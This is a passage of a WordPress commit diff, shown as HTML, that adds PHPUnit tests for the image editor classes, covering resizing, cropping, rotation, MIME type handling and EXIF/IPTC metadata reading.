+               $this->assertEquals( 'canola-100x50.png', basename( $editor->generate_filename( null, null, 'png' ) ) );
+
+               // Combo!
+               $this->assertEquals( trailingslashit( realpath( get_temp_dir() ) ) . 'canola-new.png', $editor->generate_filename( 'new', realpath( get_temp_dir() ), 'png' ) );
+       }
+
+       /**
+        * Test get_size
+        * @ticket 6821
+        */
+       public function test_get_size() {
+
+               $editor = wp_get_image_editor( DIR_TESTDATA . '/images/canola.jpg' );
+
+               // Size should be false by default
+               $this->assertNull( $editor->get_size() );
+
+               // Set a size
+               $size = array(
+                       'height' => 50,
+                       'width'  => 100
+               );
+               $property = new ReflectionProperty( $editor, 'size' );
+               $property->setAccessible( true );
+               $property->setValue( $editor, $size );
+
+               $this->assertEquals( $size, $editor->get_size() );
+       }
+
+       /**
+        * Test get_suffix
+        * @ticket 6821
+        */
+       public function test_get_suffix() {
+               $editor = wp_get_image_editor( DIR_TESTDATA . '/images/canola.jpg' );
+
+               // Size should be false by default
+               $this->assertFalse( $editor->get_suffix() );
+
+               // Set a size
+               $size = array(
+                       'height' => 50,
+                       'width'  => 100
+               );
+               $property = new ReflectionProperty( $editor, 'size' );
+               $property->setAccessible( true );
+               $property->setValue( $editor, $size );
+
+               $this->assertEquals( '100x50', $editor->get_suffix() );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsimageeditor_gdphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/image/editor_gd.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/image/editor_gd.php                            (rev 0)
+++ trunk/tests/tests/image/editor_gd.php       2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,158 @@
</span><ins>+<?php
+
+/**
+ * Test the WP_Image_Editor_GD class
+ * @group image
+ * @group media
+ * @group wp-image-editor-gd
+ */
+
+class Tests_Image_Editor_GD extends WP_Image_UnitTestCase {
+       public $editor_engine = 'WP_Image_Editor_GD';
+
+       public function setup() {
+               require_once( ABSPATH . WPINC . '/class-wp-image-editor.php' );
+               require_once( ABSPATH . WPINC . '/class-wp-image-editor-gd.php' );
+               parent::setUp();
+       }
+
+       /**
+        * Check support for GD compatible mime types.
+        * 
+        */
+       public function test_supports_mime_type() {
+               $gd_image_editor = new WP_Image_Editor_GD( null );
+
+               $this->assertTrue( $gd_image_editor->supports_mime_type( 'image/jpeg' ), 'Does not support image/jpeg' );
+               $this->assertTrue( $gd_image_editor->supports_mime_type( 'image/png' ), 'Does not support image/png' );
+               $this->assertTrue( $gd_image_editor->supports_mime_type( 'image/gif' ), 'Does not support image/gif' );
+       }
+
+       /**
+        * Test resizing an image, not using crop
+        * 
+        */
+       public function test_resize() {
+
+               $file = DIR_TESTDATA . '/images/gradient-square.jpg';
+
+               $gd_image_editor = new WP_Image_Editor_GD( $file );
+               $gd_image_editor->load();
+
+               $gd_image_editor->resize( 100, 50 );
+
+               $this->assertEquals( array( 'width' => 50, 'height' => 50 ), $gd_image_editor->get_size() );
+       }
+
+       /**
+        * Test resizing an image including cropping
+        * 
+        */
+       public function test_resize_and_crop() {
+
+               $file = DIR_TESTDATA . '/images/gradient-square.jpg';
+
+               $gd_image_editor = new WP_Image_Editor_GD( $file );
+               $gd_image_editor->load();
+
+               $gd_image_editor->resize( 100, 50, true );
+
+               $this->assertEquals( array( 'width' => 100, 'height' => 50 ), $gd_image_editor->get_size() );
+       }
+
+       /**
+        * Test cropping an image
+        */
+       public function test_crop() {
+
+               $file = DIR_TESTDATA . '/images/gradient-square.jpg';
+
+               $gd_image_editor = new WP_Image_Editor_GD( $file );
+               $gd_image_editor->load();
+
+               $gd_image_editor->crop( 0, 0, 50, 50 );
+
+               $this->assertEquals( array( 'width' => 50, 'height' => 50 ), $gd_image_editor->get_size() );
+
+       }
+
+       /**
+        * Test rotating an image 180 deg
+        */
+       public function test_rotate() {
+
+               $file = DIR_TESTDATA . '/images/gradient-square.jpg';
+
+               $gd_image_editor = new WP_Image_Editor_GD( $file );
+               $gd_image_editor->load();
+
+               $property = new ReflectionProperty( $gd_image_editor, 'image' );
+               $property->setAccessible( true );
+
+               $color_top_left = imagecolorat( $property->getValue( $gd_image_editor ), 0, 0 );
+
+               $gd_image_editor->rotate( 180 );
+
+               $this->assertEquals( $color_top_left, imagecolorat( $property->getValue( $gd_image_editor ), 99, 99 ) );
+       }
+
+       /**
+        * Test flipping an image
+        */
+       public function test_flip() {
+
+               $file = DIR_TESTDATA . '/images/gradient-square.jpg';
+
+               $gd_image_editor = new WP_Image_Editor_GD( $file );
+               $gd_image_editor->load();
+
+               $property = new ReflectionProperty( $gd_image_editor, 'image' );
+               $property->setAccessible( true );
+
+               $color_top_left = imagecolorat( $property->getValue( $gd_image_editor ), 0, 0 );
+
+               $gd_image_editor->flip( true, false );
+
+               $this->assertEquals( $color_top_left, imagecolorat( $property->getValue( $gd_image_editor ), 0, 99 ) );
+       }
+
+       /**
+        * Test the image created with WP_Image_Edior_GD preserves alpha when resizing
+        * 
+        * @ticket 23039
+        */
+       public function test_image_preserves_alpha_on_resize() {
+
+               $file = DIR_TESTDATA . '/images/transparent.png';
+
+               $editor = wp_get_image_editor( $file );
+               $editor->load();
+               $editor->resize(5,5);
+               $save_to_file = tempnam( get_temp_dir(), '' ) . '.png';
+               
+               $editor->save( $save_to_file );
+
+               $this->assertImageAlphaAtPoint( $save_to_file, array( 0,0 ), 127 );
+
+       }
+       
+       /**
+        * Test the image created with WP_Image_Edior_GD preserves alpha with no resizing etc
+        * 
+        * @ticket 23039
+        */
+       public function test_image_preserves_alpha() {
+
+               $file = DIR_TESTDATA . '/images/transparent.png';
+
+               $editor = wp_get_image_editor( $file );
+               $editor->load();
+
+               $save_to_file = tempnam( get_temp_dir(), '' ) . '.png';
+               
+               $editor->save( $save_to_file );
+
+               $this->assertImageAlphaAtPoint( $save_to_file, array( 0,0 ), 127 );
+       }
+
+}
</ins></span></pre></div>
<a id="trunkteststestsimageeditor_imagickphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/image/editor_imagick.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/image/editor_imagick.php                               (rev 0)
+++ trunk/tests/tests/image/editor_imagick.php  2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,165 @@
</span><ins>+<?php
+
+/**
+ * Test the WP_Image_Editor_Imagick class
+ * @group image
+ * @group media
+ * @group wp-image-editor-imagick
+ */
+
+class Tests_Image_Editor_Imagick extends WP_Image_UnitTestCase {
+
+       public $editor_engine = 'WP_Image_Editor_Imagick';
+
+       public function setup() {
+               require_once( ABSPATH . WPINC . '/class-wp-image-editor.php' );
+               require_once( ABSPATH . WPINC . '/class-wp-image-editor-imagick.php' );
+
+               $editor = new WP_Image_Editor_Imagick( null );
+
+               if ( ! $editor->test() )
+                       $this->markTestSkipped( 'Image Magick not available' );
+
+               parent::setUp();
+       }
+
+       /**
+        * Check support for Image Magick compatible mime types.
+        * 
+        */
+       public function test_supports_mime_type() {
+
+               $imagick_image_editor = new WP_Image_Editor_Imagick( null );
+
+               $this->assertTrue( $imagick_image_editor->supports_mime_type( 'image/jpeg' ), 'Does not support image/jpeg' );
+               $this->assertTrue( $imagick_image_editor->supports_mime_type( 'image/png' ), 'Does not support image/png' );
+               $this->assertTrue( $imagick_image_editor->supports_mime_type( 'image/gif' ), 'Does not support image/gif' );
+       }
+
+       /**
+        * Test resizing an image, not using crop
+        * 
+        */
+       public function test_resize() {
+
+               $file = DIR_TESTDATA . '/images/gradient-square.jpg';
+
+               $imagick_image_editor = new WP_Image_Editor_Imagick( $file );
+               $imagick_image_editor->load();
+
+               $imagick_image_editor->resize( 100, 50 );
+
+               $this->assertEquals( array( 'width' => 50, 'height' => 50 ), $imagick_image_editor->get_size() );
+       }
+
+       /**
+        * Test resizing an image including cropping
+        * 
+        */
+       public function test_resize_and_crop() {
+
+               $file = DIR_TESTDATA . '/images/gradient-square.jpg';
+
+               $imagick_image_editor = new WP_Image_Editor_Imagick( $file );
+               $imagick_image_editor->load();
+
+               $imagick_image_editor->resize( 100, 50, true );
+
+               $this->assertEquals( array( 'width' => 100, 'height' => 50 ), $imagick_image_editor->get_size() );
+       }
+
+       /**
+        * Test cropping an image
+        */
+       public function test_crop() {
+
+               $file = DIR_TESTDATA . '/images/gradient-square.jpg';
+
+               $imagick_image_editor = new WP_Image_Editor_Imagick( $file );
+               $imagick_image_editor->load();
+
+               $imagick_image_editor->crop( 0, 0, 50, 50 );
+
+               $this->assertEquals( array( 'width' => 50, 'height' => 50 ), $imagick_image_editor->get_size() );
+
+       }
+
+       /**
+        * Test rotating an image 180 deg
+        */
+       public function test_rotate() {
+
+               $file = DIR_TESTDATA . '/images/gradient-square.jpg';
+
+               $imagick_image_editor = new WP_Image_Editor_Imagick( $file );
+               $imagick_image_editor->load();
+
+               $property = new ReflectionProperty( $imagick_image_editor, 'image' );
+               $property->setAccessible( true );
+
+               $color_top_left = $property->getValue( $imagick_image_editor )->getImagePixelColor( 1, 1 )->getColor();
+
+               $imagick_image_editor->rotate( 180 );
+
+               $this->assertEquals( $color_top_left, $property->getValue( $imagick_image_editor )->getImagePixelColor( 99, 99 )->getColor() );
+       }
+
+       /**
+        * Test flipping an image
+        */
+       public function test_flip() {
+
+               $file = DIR_TESTDATA . '/images/gradient-square.jpg';
+
+               $imagick_image_editor = new WP_Image_Editor_Imagick( $file );
+               $imagick_image_editor->load();
+
+               $property = new ReflectionProperty( $imagick_image_editor, 'image' );
+               $property->setAccessible( true );
+
+               $color_top_left = $property->getValue( $imagick_image_editor )->getImagePixelColor( 1, 1 )->getColor();
+
+               $imagick_image_editor->flip( true, false );
+
+               $this->assertEquals( $color_top_left, $property->getValue( $imagick_image_editor )->getImagePixelColor( 0, 99 )->getColor() );
+       }
+
+       /**
+        * Test the image created with WP_Image_Edior_Imagick preserves alpha when resizing
+        *
+        * @ticket 24871
+        */
+       public function test_image_preserves_alpha_on_resize() {
+
+               $file = DIR_TESTDATA . '/images/transparent.png';
+
+               $editor = wp_get_image_editor( $file );
+               $editor->load();
+               $editor->resize(5,5);
+               $save_to_file = tempnam( get_temp_dir(), '' ) . '.png';
+               
+               $editor->save( $save_to_file );
+
+               $this->assertImageAlphaAtPoint( $save_to_file, array( 0,0 ), 127 );
+
+       }
+       
+       /**
+        * Test the image created with WP_Image_Edior_Imagick preserves alpha with no resizing etc
+        *
+        * @ticket 24871
+        */
+       public function test_image_preserves_alpha() {
+
+               $file = DIR_TESTDATA . '/images/transparent.png';
+
+               $editor = wp_get_image_editor( $file );
+               $editor->load();
+
+               $save_to_file = tempnam( get_temp_dir(), '' ) . '.png';
+               
+               $editor->save( $save_to_file );
+
+               $this->assertImageAlphaAtPoint( $save_to_file, array( 0,0 ), 127 );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsimagefunctionsphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/image/functions.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/image/functions.php                            (rev 0)
+++ trunk/tests/tests/image/functions.php       2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,321 @@
</span><ins>+<?php
+
+/**
+ * @group image
+ * @group media
+ * @group upload
+ */
+class Tests_Image_Functions extends WP_UnitTestCase {
+       /**
+        * Setup test fixture
+        */
+       public function setup() {
+               require_once( ABSPATH . WPINC . '/class-wp-image-editor.php' );
+               require_once( ABSPATH . WPINC . '/class-wp-image-editor-gd.php' );
+               require_once( ABSPATH . WPINC . '/class-wp-image-editor-imagick.php' );
+
+               include_once( DIR_TESTDATA . '/../includes/mock-image-editor.php' );
+       }
+
+       /**
+        * Get the MIME type of a file
+        * @param string $filename
+        * @return string
+        */
+       protected function get_mime_type( $filename ) {
+               $mime_type = '';
+               if ( extension_loaded( 'fileinfo' ) ) {
+                       $finfo = new finfo();
+                       $mime_type = $finfo->file( $filename, FILEINFO_MIME );
+               } elseif ( function_exists('mime_content_type') ) {
+                       $mime_type = mime_content_type( $filename );
+               }
+               if ( false !== strpos( $mime_type, ';' ) ) {
+                       list( $mime_type, $charset ) = explode( ';', $mime_type, 2 );
+               }
+               return $mime_type;
+       }
+
+       function test_is_image_positive() {
+               // these are all image files recognized by php
+               $files = array(
+                       'test-image-cmyk.jpg',
+                       'test-image.bmp',
+                       'test-image-grayscale.jpg',
+                       'test-image.gif',
+                       'test-image.png',
+                       'test-image.tiff',
+                       'test-image-lzw.tiff',
+                       'test-image.jp2',
+                       'test-image.psd',
+                       'test-image-zip.tiff',
+                       'test-image.jpg',
+                       );
+
+               foreach ($files as $file) {
+                       $this->assertTrue( file_is_valid_image( DIR_TESTDATA.'/images/'.$file ), "file_is_valid_image($file) should return true" );
+               }
+       }
+
+       function test_is_image_negative() {
+               // these are actually image files but aren't recognized or usable by php
+               $files = array(
+                       'test-image.pct',
+                       'test-image.tga',
+                       'test-image.sgi',
+                       );
+
+               foreach ($files as $file) {
+                       $this->assertFalse( file_is_valid_image( DIR_TESTDATA.'/images/'.$file ), "file_is_valid_image($file) should return false" );
+               }
+       }
+
+       function test_is_displayable_image_positive() {
+               // these are all usable in typical web browsers
+               $files = array(
+                       'test-image.gif',
+                       'test-image.png',
+                       'test-image.jpg',
+                       );
+
+               foreach ($files as $file) {
+                       $this->assertTrue( file_is_displayable_image( DIR_TESTDATA.'/images/'.$file ), "file_is_valid_image($file) should return true" );
+               }
+       }
+
+       function test_is_displayable_image_negative() {
+               // these are image files but aren't suitable for web pages because of compatibility or size issues
+               $files = array(
+                       // 'test-image-cmyk.jpg', Allowed in r9727
+                       'test-image.bmp',
+                       // 'test-image-grayscale.jpg', Allowed in r9727
+                       'test-image.pct',
+                       'test-image.tga',
+                       'test-image.sgi',
+                       'test-image.tiff',
+                       'test-image-lzw.tiff',
+                       'test-image.jp2',
+                       'test-image.psd',
+                       'test-image-zip.tiff',
+                       );
+
+               foreach ($files as $file) {
+                       $this->assertFalse( file_is_displayable_image( DIR_TESTDATA.'/images/'.$file ), "file_is_valid_image($file) should return false" );
+               }
+       }
+
+       /**
+        * Test save image file and mime_types
+        * @ticket 6821
+        */
+       public function test_wp_save_image_file() {
+               include_once( ABSPATH . 'wp-admin/includes/image-edit.php' );
+
+               // Mime types
+               $mime_types = array(
+                       'image/jpeg',
+                       'image/gif',
+                       'image/png'
+               );
+
+               // Test each image editor engine
+               $classes = array('WP_Image_Editor_GD', 'WP_Image_Editor_Imagick');
+               foreach ( $classes as $class ) {
+
+                       // If the image editor isn't available, skip it
+                       if ( ! call_user_func( array( $class, 'test' ) ) ) {
+                               continue;
+                       }
+
+                       $img = new $class( DIR_TESTDATA . '/images/canola.jpg' );
+                       $loaded = $img->load();
+
+                       // Save a file as each mime type, assert it works
+                       foreach ( $mime_types as $mime_type ) {
+                               $file = wp_tempnam();
+                               $ret = wp_save_image_file( $file, $img, $mime_type, 1 );
+                               $this->assertNotEmpty( $ret );
+                               $this->assertNotInstanceOf( 'WP_Error', $ret );
+                               $this->assertEquals( $mime_type, $this->get_mime_type( $ret['path'] ) );
+
+                               // Clean up
+                               @unlink( $file );
+                               @unlink( $ret['path'] );
+                       }
+
+                       // Clean up
+                       unset( $img );
+               }
+       }
+
+       /**
+        * Test that a passed mime type overrides the extension in the filename
+        * @ticket 6821
+        */
+       public function test_mime_overrides_filename() {
+
+               // Test each image editor engine
+               $classes = array('WP_Image_Editor_GD', 'WP_Image_Editor_Imagick');
+               foreach ( $classes as $class ) {
+
+                       // If the image editor isn't available, skip it
+                       if ( ! call_user_func( array( $class, 'test' ) ) ) {
+                               continue;
+                       }
+
+                       $img = new $class( DIR_TESTDATA . '/images/canola.jpg' );
+                       $loaded = $img->load();
+
+                       // Save the file
+                       $mime_type = 'image/gif';
+                       $file = wp_tempnam( 'tmp.jpg' );
+                       $ret = $img->save( $file, $mime_type );
+
+                       // Make assertions
+                       $this->assertNotEmpty( $ret );
+                       $this->assertNotInstanceOf( 'WP_Error', $ret );
+                       $this->assertEquals( $mime_type, $this->get_mime_type( $ret['path'] ) );
+
+                       // Clean up
+                       @unlink( $file );
+                       @unlink( $ret['path'] );
+                       unset( $img );
+               }
+       }
+
+       /**
+        * Test that mime types are correctly inferred from file extensions
+        * @ticket 6821
+        */
+       public function test_inferred_mime_types() {
+
+               // Mime types
+               $mime_types = array(
+                       'jpg'  => 'image/jpeg',
+                       'jpeg' => 'image/jpeg',
+                       'jpe'  => 'image/jpeg',
+                       'gif'  => 'image/gif',
+                       'png'  => 'image/png',
+                       'unk'  => 'image/jpeg' // Default, unknown
+               );
+
+               // Test each image editor engine
+               $classes = array('WP_Image_Editor_GD', 'WP_Image_Editor_Imagick');
+               foreach ( $classes as $class ) {
+
+                       // If the image editor isn't available, skip it
+                       if ( ! call_user_func( array( $class, 'test' ) ) ) {
+                               continue;
+                       }
+
+                       $img = new $class( DIR_TESTDATA . '/images/canola.jpg' );
+                       $loaded = $img->load();
+
+                       // Save the image as each file extension, check the mime type
+                       $img = wp_get_image_editor( DIR_TESTDATA . '/images/canola.jpg' );
+                       $temp = get_temp_dir();
+                       foreach ( $mime_types as $ext => $mime_type ) {
+                               $file = wp_unique_filename( $temp, uniqid() . ".$ext" );
+                               $ret = $img->save( trailingslashit( $temp ) . $file );
+                               $this->assertNotEmpty( $ret );
+                               $this->assertNotInstanceOf( 'WP_Error', $ret );
+                               $this->assertEquals( $mime_type, $this->get_mime_type( $ret['path'] ) );
+                               @unlink( $file );
+                               @unlink( $ret['path'] );
+                       }
+
+                       // Clean up
+                       unset( $img );
+               }
+       }
+
+       /**
+        * Try loading a directory
+        * @ticket 17814
+        */
+       public function test_load_directory() {
+
+               // First, test with deprecated wp_load_image function
+               $editor = wp_load_image( DIR_TESTDATA );
+               $this->assertNotInternalType( 'resource', $editor );
+
+               // Then, test with editors.
+               $classes = array('WP_Image_Editor_GD', 'WP_Image_Editor_Imagick');
+               foreach ( $classes as $class ) {
+                       // If the image editor isn't available, skip it
+                       if ( ! call_user_func( array( $class, 'test' ) ) ) {
+                               continue;
+                       }
+
+                       $editor = new $class( DIR_TESTDATA );
+                       $loaded = $editor->load();
+
+                       $this->assertInstanceOf( 'WP_Error', $loaded );
+                       $this->assertEquals( 'error_loading_image', $loaded->get_error_code() );
+               }
+       }
+
+       public function test_wp_crop_image_file() {
+               if ( !function_exists( 'imagejpeg' ) )
+                       $this->markTestSkipped( 'jpeg support unavailable' );
+
+               $file = wp_crop_image( DIR_TESTDATA . '/images/canola.jpg',
+                                                         0, 0, 100, 100, 100, 100 );
+               $this->assertNotInstanceOf( 'WP_Error', $file );
+               $this->assertFileExists( $file );
+               $image = wp_get_image_editor( $file );
+               $size = $image->get_size();
+               $this->assertEquals( 100, $size['height'] );
+               $this->assertEquals( 100, $size['width'] );
+
+               unlink( $file );
+       }
+
+       public function test_wp_crop_image_url() {
+               if ( !function_exists( 'imagejpeg' ) )
+                       $this->markTestSkipped( 'jpeg support unavailable' );
+
+               $file = wp_crop_image( 'http://asdftestblog1.files.wordpress.com/2008/04/canola.jpg',
+                                                         0, 0, 100, 100, 100, 100, false,
+                                                         DIR_TESTDATA . '/images/' . rand_str() . '.jpg' );
+               $this->assertNotInstanceOf( 'WP_Error', $file );
+               $this->assertFileExists( $file );
+               $image = wp_get_image_editor( $file );
+               $size = $image->get_size();
+               $this->assertEquals( 100, $size['height'] );
+               $this->assertEquals( 100, $size['width'] );
+
+               unlink( $file );
+       }
+
+       public function test_wp_crop_image_file_not_exist() {
+               $file = wp_crop_image( DIR_TESTDATA . '/images/canoladoesnotexist.jpg',
+                                                         0, 0, 100, 100, 100, 100 );
+               $this->assertInstanceOf( 'WP_Error', $file );
+       }
+
+       public function test_wp_crop_image_url_not_exist() {
+               $file = wp_crop_image( 'http://asdftestblog1.files.wordpress.com/2008/04/canoladoesnotexist.jpg',
+                                                         0, 0, 100, 100, 100, 100 );
+               $this->assertInstanceOf( 'WP_Error', $file );
+       }
+
+       function mock_image_editor( $editors ) {
+               return array( 'WP_Image_Editor_Mock' );
+       }
+
+       /**
+        * @ticket 23325
+        */
+       public function test_wp_crop_image_error_on_saving() {
+               WP_Image_Editor_Mock::$save_return = new WP_Error();
+               add_filter( 'wp_image_editors', array( $this, 'mock_image_editor' ) );
+
+               $file = wp_crop_image( DIR_TESTDATA . '/images/canola.jpg',
+                                                         0, 0, 100, 100, 100, 100 );
+               $this->assertInstanceOf( 'WP_Error', $file );
+
+               remove_filter( 'wp_image_editors', array( $this, 'mock_image_editor' ) );
+               WP_Image_Editor_Mock::$save_return = array();
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsimageintermediate_sizephp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/image/intermediate_size.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/image/intermediate_size.php                            (rev 0)
+++ trunk/tests/tests/image/intermediate_size.php       2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,46 @@
</span><ins>+<?php
+
+/**
+ * @group image
+ * @group media
+ * @group upload
+ */
+class Tests_Image_Intermediate_Size extends WP_UnitTestCase {
+       function test_make_intermediate_size_no_size() {
+               $image = image_make_intermediate_size( DIR_TESTDATA . '/images/a2-small.jpg', 0, 0, false );
+
+               $this->assertFalse( $image );
+       }
+
+       function test_make_intermediate_size_width() {
+               if ( !function_exists( 'imagejpeg' ) )
+                       $this->markTestSkipped( 'jpeg support unavailable' );
+
+               $image = image_make_intermediate_size( DIR_TESTDATA . '/images/a2-small.jpg', 100, 0, false );
+
+               $this->assertInternalType( 'array', $image );
+       }
+
+       function test_make_intermediate_size_height() {
+               if ( !function_exists( 'imagejpeg' ) )
+                       $this->markTestSkipped( 'jpeg support unavailable' );
+
+               $image = image_make_intermediate_size( DIR_TESTDATA . '/images/a2-small.jpg', 0, 75, false );
+
+               $this->assertInternalType( 'array', $image );
+       }
+
+       function test_make_intermediate_size_successful() {
+               if ( !function_exists( 'imagejpeg' ) )
+                       $this->markTestSkipped( 'jpeg support unavailable' );
+
+               $image = image_make_intermediate_size( DIR_TESTDATA . '/images/a2-small.jpg', 100, 75, true );
+
+               $this->assertInternalType( 'array', $image );
+               $this->assertEquals( 100, $image['width'] );
+               $this->assertEquals( 75, $image['height'] );
+               $this->assertEquals( 'image/jpeg', $image['mime-type'] );
+
+               $this->assertFalse( isset( $image['path'] ) );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsimagemetaphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/image/meta.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/image/meta.php                         (rev 0)
+++ trunk/tests/tests/image/meta.php    2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,141 @@
</span><ins>+<?php
+
+/**
+ * @group image
+ * @group media
+ * @group upload
+ */
+class Tests_Image_Meta extends WP_UnitTestCase {
+       function setUp() {
+               if ( ! extension_loaded( 'gd' ) )
+                       $this->markTestSkipped( 'The gd PHP extension is not loaded.' );
+               if ( ! extension_loaded( 'exif' ) )
+                       $this->markTestSkipped( 'The exif PHP extension is not loaded.' );
+               if ( ! is_callable( 'wp_read_image_metadata' ) )
+                       $this->markTestSkipped( 'wp_read_image_metadata() is not callable.' );
+               parent::setUp();
+       }
+
+       function test_exif_d70() {
+               // exif from a Nikon D70
+               $out = wp_read_image_metadata(DIR_TESTDATA.'/images/2004-07-22-DSC_0008.jpg');
+
+               $this->assertEquals(6.3, $out['aperture']);
+               $this->assertEquals('', $out['credit']);
+               $this->assertEquals('NIKON D70', $out['camera']);
+               $this->assertEquals('', $out['caption']);
+               $this->assertEquals(strtotime('2004-07-22 17:14:59'), $out['created_timestamp']);
+               $this->assertEquals('', $out['copyright']);
+               $this->assertEquals(27, $out['focal_length']);
+               $this->assertEquals(400, $out['iso']);
+               $this->assertEquals(1/40, $out['shutter_speed']);
+               $this->assertEquals('', $out['title']);
+       }
+
+       function test_exif_d70_mf() {
+               // exif from a Nikon D70 - manual focus lens, so some data is unavailable
+               $out = wp_read_image_metadata(DIR_TESTDATA.'/images/2007-06-17DSC_4173.JPG');
+
+               $this->assertEquals(0, $out['aperture']);
+               $this->assertEquals('', $out['credit']);
+               $this->assertEquals('NIKON D70', $out['camera']);
+               $this->assertEquals('', $out['caption']);
+               $this->assertEquals(strtotime('2007-06-17 21:18:00'), $out['created_timestamp']);
+               $this->assertEquals('', $out['copyright']);
+               $this->assertEquals(0, $out['focal_length']);
+               $this->assertEquals(0, $out['iso']); // interesting - a Nikon bug?
+               $this->assertEquals(1/500, $out['shutter_speed']);
+               $this->assertEquals('', $out['title']);
+               #$this->assertEquals(array('Flowers'), $out['keywords']);
+       }
+
+       function test_exif_d70_iptc() {
+               // exif from a Nikon D70 with IPTC data added later
+               $out = wp_read_image_metadata(DIR_TESTDATA.'/images/2004-07-22-DSC_0007.jpg');
+
+               $this->assertEquals(6.3, $out['aperture']);
+               $this->assertEquals('IPTC Creator', $out['credit']);
+               $this->assertEquals('NIKON D70', $out['camera']);
+               $this->assertEquals('IPTC Caption', $out['caption']);
+               $this->assertEquals(strtotime('2004-07-22 17:14:35'), $out['created_timestamp']);
+               $this->assertEquals('IPTC Copyright', $out['copyright']);
+               $this->assertEquals(18, $out['focal_length']);
+               $this->assertEquals(200, $out['iso']);
+               $this->assertEquals(1/25, $out['shutter_speed']);
+               $this->assertEquals('IPTC Headline', $out['title']);
+       }
+
+       function test_exif_fuji() {
+               // exif from a Fuji FinePix S5600 (thanks Mark)
+               $out = wp_read_image_metadata(DIR_TESTDATA.'/images/a2-small.jpg');
+
+               $this->assertEquals(4.5, $out['aperture']);
+               $this->assertEquals('', $out['credit']);
+               $this->assertEquals('FinePix S5600', $out['camera']);
+               $this->assertEquals('', $out['caption']);
+               $this->assertEquals(strtotime('2007-09-03 10:17:03'), $out['created_timestamp']);
+               $this->assertEquals('', $out['copyright']);
+               $this->assertEquals(6.3, $out['focal_length']);
+               $this->assertEquals(64, $out['iso']);
+               $this->assertEquals(1/320, $out['shutter_speed']);
+               $this->assertEquals('', $out['title']);
+
+       }
+
+       /**
+        * @ticket 6571
+        */
+       function test_exif_error() {
+
+               // http://trac.wordpress.org/ticket/6571
+               // this triggers a warning mesage when reading the exif block
+               $out = wp_read_image_metadata(DIR_TESTDATA.'/images/waffles.jpg');
+
+               $this->assertEquals(0, $out['aperture']);
+               $this->assertEquals('', $out['credit']);
+               $this->assertEquals('', $out['camera']);
+               $this->assertEquals('', $out['caption']);
+               $this->assertEquals(0, $out['created_timestamp']);
+               $this->assertEquals('', $out['copyright']);
+               $this->assertEquals(0, $out['focal_length']);
+               $this->assertEquals(0, $out['iso']);
+               $this->assertEquals(0, $out['shutter_speed']);
+               $this->assertEquals('', $out['title']);
+       }
+
+       function test_exif_no_data() {
+               // no exif data in this image (from burningwell.org)
+               $out = wp_read_image_metadata(DIR_TESTDATA.'/images/canola.jpg');
+
+               $this->assertEquals(0, $out['aperture']);
+               $this->assertEquals('', $out['credit']);
+               $this->assertEquals('', $out['camera']);
+               $this->assertEquals('', $out['caption']);
+               $this->assertEquals(0, $out['created_timestamp']);
+               $this->assertEquals('', $out['copyright']);
+               $this->assertEquals(0, $out['focal_length']);
+               $this->assertEquals(0, $out['iso']);
+               $this->assertEquals(0, $out['shutter_speed']);
+               $this->assertEquals('', $out['title']);
+       }
+
+       /**
+        * @ticket 9417
+        */
+       function test_utf8_iptc_tags() {
+
+               // trilingual UTF-8 text in the ITPC caption-abstract field
+               $out = wp_read_image_metadata(DIR_TESTDATA.'/images/test-image-iptc.jpg');
+
+               $this->assertEquals('This is a comment. / Это комментарий. / Βλέπετε ένα σχόλιο.', $out['caption']);
+       }
+
+       /**
+        * wp_read_image_metadata() should false if the image file doesn't exist
+        * @return void
+        */
+       public function test_missing_image_file() {
+               $out = wp_read_image_metadata(DIR_TESTDATA.'/images/404_image.png');
+               $this->assertFalse($out);
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsimageresizephp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/image/resize.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/image/resize.php                               (rev 0)
+++ trunk/tests/tests/image/resize.php  2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,169 @@
</span><ins>+<?php
+
+/**
+ * @group image
+ * @group media
+ * @group upload
+ */
+abstract class WP_Tests_Image_Resize_UnitTestCase extends WP_Image_UnitTestCase {
+
+       function test_resize_jpg() {
+               $image = $this->resize_helper( DIR_TESTDATA.'/images/test-image.jpg', 25, 25 );
+
+               $this->assertEquals( 'test-image-25x25.jpg', basename($image) );
+               list($w, $h, $type) = getimagesize($image);
+               $this->assertEquals( 25, $w );
+               $this->assertEquals( 25, $h );
+               $this->assertEquals( IMAGETYPE_JPEG, $type );
+
+               unlink( $image );
+       }
+
+       function test_resize_png() {
+               $image = $this->resize_helper( DIR_TESTDATA.'/images/test-image.png', 25, 25 );
+
+               $this->assertEquals( 'test-image-25x25.png', basename($image) );
+               list($w, $h, $type) = getimagesize($image);
+               $this->assertEquals( 25, $w );
+               $this->assertEquals( 25, $h );
+               $this->assertEquals( IMAGETYPE_PNG, $type );
+
+               unlink( $image );
+       }
+
+       function test_resize_gif() {
+               $image = $this->resize_helper( DIR_TESTDATA.'/images/test-image.gif', 25, 25 );
+
+               $this->assertEquals( 'test-image-25x25.gif', basename($image) );
+               list($w, $h, $type) = getimagesize($image);
+               $this->assertEquals( 25, $w );
+               $this->assertEquals( 25, $h );
+               $this->assertEquals( IMAGETYPE_GIF, $type );
+
